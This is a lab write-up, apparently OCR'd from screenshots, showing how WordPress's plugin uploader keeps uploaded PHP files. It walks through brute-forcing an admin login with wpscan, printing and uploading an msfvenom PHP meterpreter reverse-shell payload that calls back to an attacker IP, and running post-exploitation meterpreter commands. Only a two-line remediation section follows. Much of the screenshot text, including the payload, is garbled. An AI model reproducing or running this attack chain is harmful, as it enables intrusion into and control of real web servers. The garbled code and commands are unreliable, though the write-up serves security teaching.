Exploiting Unrestricted File Upload
via Plugin Uploader in WordPress

Submitted By : Isha Gupta

Abstract

In WordPress, plugins uploaded through the admin isn’t verified as ZIP files this allow php,
image and other files to be uploaded. When a file gets uploaded it shows an error message
stating that the file upload is in Bad Format. In this scenario an attacker can easily upload a
payload in PHP file making the account vulnerable. Now the attacker can traverse through
/wordpress/wp-content/uploads/{year}/{month/{file_name}.

Introduction

Attackers machine: Kali Linux
Victims machine: Windows 7
Tools Used : XAMPP, Metasploit

Other Requirements : wordpress file to host

To test this | have first hosted wordpress locally.
1. Steps to host locally
A.Open XAMPP and start the services.
B.Paste your wordpress file in htdocs.
C. open 127.0.0.1/wordpress

D. Now go to 127.0.0.1/phpmyadmin and make a database and futher in option_value
change from 127.0.0.1 to 192.168.86.13x(Windows IP)
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E.Also make changes in wp-config-sample.php file in htdocs related to password and db

name.
@Q" . » Computer » Local Disk (C:} » xampp » htdocs » wordpress » v I s ‘ | Search wordpress L |
Organize ~ 5 Open ~ Burn New folder =« 0O @
& Favorites Name : Date modified Type Size =
B Desktop |, wp-admin 12/7/2016 12:10 AM  File folder
& Downloads wp-content File folder
5 Recent Places 1 wp-includes File folder
| .htaccess 2PM HT ESS File
4 Libraries 2 index AM
_;] Documents | license 5/22/2 PM  Text Document 20 KB
& Music B rezdme 5/22 PM  Firefox HTML Dac 8 KB
&/ Pictures 2| wp-activate 12:23 PM ] KB
Videos =] wp-blog-header 450 PM  PHP File 1 KB E
T | wp-comments-post 8/29/ PHP File 2¥B
& Computer 2| wp-config 5/22/ PHP File 1 KB
& Local Disk (C:) = | wp~config-sample 5/22/202012:21 PM  PHP Fite 3KB
2| wp-cron 5/24/201510:56 PM  PHP File 4 KB
€ Network = wp-links-opmi 11/21/2016 816 AM  PHP File 3KB
= | wp-load 10/25 2:45 AM  PHP File { KB
2| wp-login PHP File 34 KB
Z| wp-mail PHP File 8 KB
T | wp-settings PHP File 16 KB 3
= | wp-signup 10/19/2016 10:17 . PHP File 30KB
won-trackhack 1NASI2MAT NG AN PP File S ¥R
= Wp-config-sample Date modified: 5/22/2020 12:21 PM Date created: 5/22/2020 11:50 AM
= PHP File Size: 275 KB

F.Create an account on wordpress now.



2. In kali linux (victim) use wpscan to get the username and password of the victim
wpscan —url http://192.168.86.13x/wp-login.php -U isha --password isha.txt

from this you’ll get the password.

3. Now login to victims wordpress account.

Browse 192.168.86.13x/wordpress.

Login by using username and password that you have found from wpscan.

Go to 192.168.86.13x/wordpress/wp-admin/

4.Go to plugins

Add new

Howdy, isha .

e I ns v H v
&
WordPress 5.4.1 is available! Please update now.
O Plugins Add New
p |
1| All (2) | Inactive (2) | Update Available (2)
|

@ Bulk Actions "\ Apply 2 items

Plugin Description
}\

Akismet Used by millions, Akismet is quite possibly the best way in the world to protect your

»

Activate Edit Delete blog from spam. It keeps your site protected even while you sleep. To get started: 1
Click the "Activate” link to the left of this description, 2) Sign up for an Ak t plan to
get an APIL key, and 3) Go to your Akismet configuration page, and save your APl key.

Version 3.2 | By Automattic | View details

B % &

3 There is a new version of Akismet available. View version 4.1.5 details or update now

v

Hello Dolly This is not just a plugin, it symbalizes the hope and enthusiasm of an entire
Activate Edit Delete  generation summed up in two words sung most famously by Louis Armstrong: Hello
Dolly. When activated you will randomly see a lyric from Hello, Dolly in the upper right

of your admin screen on every page

Version 1.6 | By Matt Mullenweg | View details

5.Browse your php file and click on Install now.



WordPress 5.4
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Add Plugins = srowse plugins

If you have a plugin in a .zip format, you may install it by uploading it here

| Browse... | shell.php Install Now

reating with WorgdPress

Get Version 2.4.1

6.We know wordpress plugin only accepts ZIP file so once we upload php file we see an
error message like in the image below which shows that if we upload PHP files or image
instead of ZIP files in the plugin uploader - WordPress it will give an error message
because of bad format.

& D I
WerdPress 5.4.1 is availablel Please update now.
A Post
0 ) Installing Plugin from uploaded file: shell.php
o e
¥ Comments package could nat be installed. PCLZIP ERR BAD FORMAT (-10) : Unable to find End of Central Dir Record signa

Return to Plugin [nstaller

» Appearance
& Plugins (@

Installed Plugins

Add New

ank you for creating with WordPress

Haowdy, isha .

Get Version 5.4.1

7. Did it really not upload?

This plugin extraction fails but the php file gets stored
content/uploads/{year}/{month/{file_name}.

in /wordpress/wp-
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8.With this vulnerability an attacker can create a reverse shell payload using msfvenom
and upload it via plugin in shell.php file.

msfvenom —p php/meterpreter/reverse_tcp lhost=192.168.86.13y Iport=1337 —f raw

pee | Il - | = | D 2 0B 0N

iy Home [[3 Windows 7 (3) [[¥ kali-linux-2020.1-vbox-a.. (] Windows 10 x64 (2)

[sudo] password for kali: ~
rootdkali:/home/kali# ifconfig
eth®: flags=4163<UP,BROADCAST,RUNNING,MULTICAST> mtu 15

inet 192.168.86.131 netmask 255.255.255.@ broadcast 192.168.86.255

inet6 fe8! 29ff:fe5e:d58 prefixlen 64 scopeid @x28<link>

ether 00:0c:29:5e:0d:58 txqueuelen 1000 (Ethernet)

RX packets 8145 bytes 10018773 (9.5 MiB)

RX errors @ dropped @ overruns @ frame

TX packets 2034 bytes 238636 (233.0 KiB)

TX errors @ dropped @ overruns @ carrier @ collisions @

lo: flags=73<UP,LOOPBACK,RUNNING> mtu 65536
inet 127 @.1 netmask 255.0.0.8
inet6é ::1 prefixlen 128 scopeid @x1@<host>
loop txqueuelen 1008 (Local Loopback)
RX packets 8 bytes 396 (396.0 B)
RX errors @ dropped @ overruns @ frame @
TX packets 8 bytes 396 (396.0 B)
TX errors @ dropped @ overruns @ carrier @ collisions @

rootakali:/home/kali# msfvenom -p php/meterpreter/reverse_tcp lhost=192.168.86.131 lport=1337 -f raw
[-1 No platform was selected, choosing Msf ::Module:: Platform:: PHP from the payload
[-] No arch selected, selecting arch: php from the payload
No encoder or badchars specified, outputting raw payload
Payload size: 1115 bytes
/*<7php /**/ error_reporting(@); $ip = '192.168.86.131"; $port = 1337; if (($f = 'stream_socket_client') & is_callable($f)) { $s =
/7 {%ip}:{$port}"); $s_type = 'stream'; } if (!%s & (5F 'fsockopen') &5 is_callable($f)) { $s = $f($ip, $port); $s_type = 'stream’;
($f = 'socket_create') 66 is_callable($f)) { $s = $F(AF_INET, SOCK_STREAM, SOL_TCP); $res = @socket_connect($s, $ip, $port); if (!
)i } $s_type = 'socket'; } if (!$s_type) { die(’'no socket funcs'); } if (!$s) { die('no socket'); } switch ($s_type) { case 'st|
fread($s, 4); break; case 'socket': $len = socket_read($s, &); break; } if (!$len) { die(); } $a = unpack("Nlen", $len); $len
= %a["len']; $b = ''; while (strlen($b) < $len) { switch ($s_type) { case ’'stream’': $b -= fread($s, $len-strlen($b)); break; case 'socket’
: $b = socket_read($s, $len-strlen($b)); break; } } $GLOBALS['msgsock'] = %$s; $GLOBALS[ 'msgsock_type'] = $s_type; if (extension_loaded('su
hosin') 66 ini_get('suhosin.executor.disable_eval')) { $suhosin_bypass=create_function('', $b); $suhosin_bypass(); } else { eval($b); } die

or press Ctrl+G.
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Copy the payload and paste it in shell.php

9. Now start msfconsole
Use exploit/multi/handler
Set lhost

Set Iport

Use payload

Exploit

10.Now when the victim opens shell.php file, attacker will get access to victims

computer

=) o 0B 0N L1~

{fy Home [ Windows 7 (3) [ kali-linux-2020.1-vbox-a... [[] Windows 10 x64 (2)

B mms| [0 ali@kali 1247PM O 2 O | @ G

kali@kali: ~
File Actions Edit View Help

kali@kali: ~ = kali@kali: ~ =

TimestampOutput false Prefix all console output with a timestamp

msf5 > use exploit/multi/handler

msf5 exploit( ) > set payload php/meterpreter/reverse_tcp
payload = php/meterpreter/reverse_tcp

msf5 exploit( ) > set lhost 192.168.86.131

lhost = 192.168.86.131

msf5 exploit( ) > set lport 1337

lport = 1337

msf5 exploit( ) > show options

Module options (exploit/multi/handler):

Name Current Setting Required Description

Payload options (php/meterpreter/reverse_tcp):
Name  Current Setting Required Description

LHOST 192.168.86.131 vyes The listen address (an interface may be specified)
LPORT 1337 ves The listen port

Exploit target:

Id Name

11. We can check many things once we get access.

x
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msf5 exploit(

meterpreter > getuid
Server username: ish (@)
meterpreter > pwd
C:\xampp\htdocs\wordpress
meterpreter > 1s

100666/ rw-rw-rw-
100666/ rw-rw-rw-
100666/ rw-rw-rw-
100666/ rw-rWw-rw-
100666/ rw-rw-rw-
40777/ TUXTWXTWX
100666/ rw-rw-rw-
100666/ Tw-rw-TW-
100666/ rw-rw-rw-
100666/ Tw-rW-TW=
40777/ TWXTWXTWX
100666/ rw-rw-rw-
40777/ TWXTWXTWX
100666/ rw-rw-rw-
100666/ rw-rW-Iw-
100666/ rw-rw-rw-
100666/ Tw-rw-TW-
100666/ rw-rw-rw-
100666/ Tw-rwW-TW-

or press Ctrl+G.

[ kali-linux-2020.1-vbox-a...
e o

) > exploit

Started reverse TCP handler on 192.168.86.131:1337
Sending stage (38288 bytes) to 192.168.86.134
Meterpreter session 2 opened (192.168.86.131:1337 — 192.168.86.134:50405) at 2020-85-22 11:12:18 -0400

Listing: C:\xampp\htdocs\wordpress

Last modified

20:

@2:
2020-05-22
2020-05-22
2016-12-086
2015-12-19
2016-08-29
2020-05-22
2020-05-22
2020-05-22
2015-05-24
2016-12-06
2016-11-
2016-10-24
2020-05-22
2020-05-22
2020-05-22
2016-10-19
2016-10-14

02:

.htaccess

index.php
license.txt

readme. html
wp-activate.php
wp-admin
wp-blog-header.php
wp=comments=-post.php
wp-config-sample.php
wp=config.php
wp-content
wp-cron.php
wp-includes
wp-links-opml.php
wp-load.php
wp-login.php
wp-mail.php
wp-settings.php
wp=signup.php
wp-trackback.php

meterpreter > ps

Process List

System Idle Process
System

Smss.exe
conhost.exe
jusched.exe
svchost.exe
CSrss.exe
wininit.exe
CSrss.exe
winlogon.exe
services.exe
1lsass.exe

1sm.exe
svchost.
svchost.
svchost.
svchost.
svchost.
svchost.
spoolsv.
svchost.
svchost.exe
firefox.exe
httpd.exe
taskhost.exe

dwm. exe
explorer.exe
xampp-control.exe
SearchIndexer.exe
svchost.exe

exe
exe
exe
exe
exe
exe
exe
exe

or press Ctrl+G.

ch

NT AUTHORITY\SYSTEM

N/A

NT AUTHORITY\SYSTEM

PC\ish

PC\ish

NT AUTHORITY\NETWORK SERVICE
NT AUTHORITY\SYSTEM

NT AUTHORITY\SYSTEM

NT AUTHORITY\SYSTEM

NT AUTHORITY\SYSTEM

NT AUTHORITY\SYSTEM

NT AUTHORITY\SYSTEM

NT AUTHORITY\SYSTEM

NT AUTHORITY\SYSTEM

NT AUTHORITY\NETWORK SERVICE
NT AUTHORITY\LOCAL SERVICE
NT AUTHORITY\SYSTEM

NT AUTHORITY\SYSTEM

NT AUTHORITY\LOCAL SERVICE
NT AUTHORITY\SYSTEM

NT AUTHORITY\LOCAL SERVICE
NT AUTHORITY\LOCAL SERVICE
PC\ish

PC\ish

PC\ish

PC\ish

PC\ish

PC\ish

NT AUTHORITY\SYSTEM

NT AUTHORITY\NETWORK SERVICE
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System Idle Process
System

SMSS . exe
conhost.exe
jusched.exe
svchost.exe
CSTss.exe
wininit.exe
CSTSs.exe
winlogon.exe
services.exe
lsass.exe

1lsm.exe

svchost.

svchost.

svchost.

svchost.

svchost.

svchost.

spoolsv.

svchost.

svchost.

firefox.
httpd.exe
taskhost.exe
dwm.exe
explorer.exe
Xampp-control.exe
SearchIndexer.exe
svchost.exe

12.we can see the established connection on victims computer
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TIM ATT
ESTABLISHED

or press Ctrl+G.
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Remediations

1. It would be best if the plugin and theme upload functionalities properly clean up the
uploaded files if a plugin or theme fail to properly get extracted and/or installed.

2. Always use latest version.
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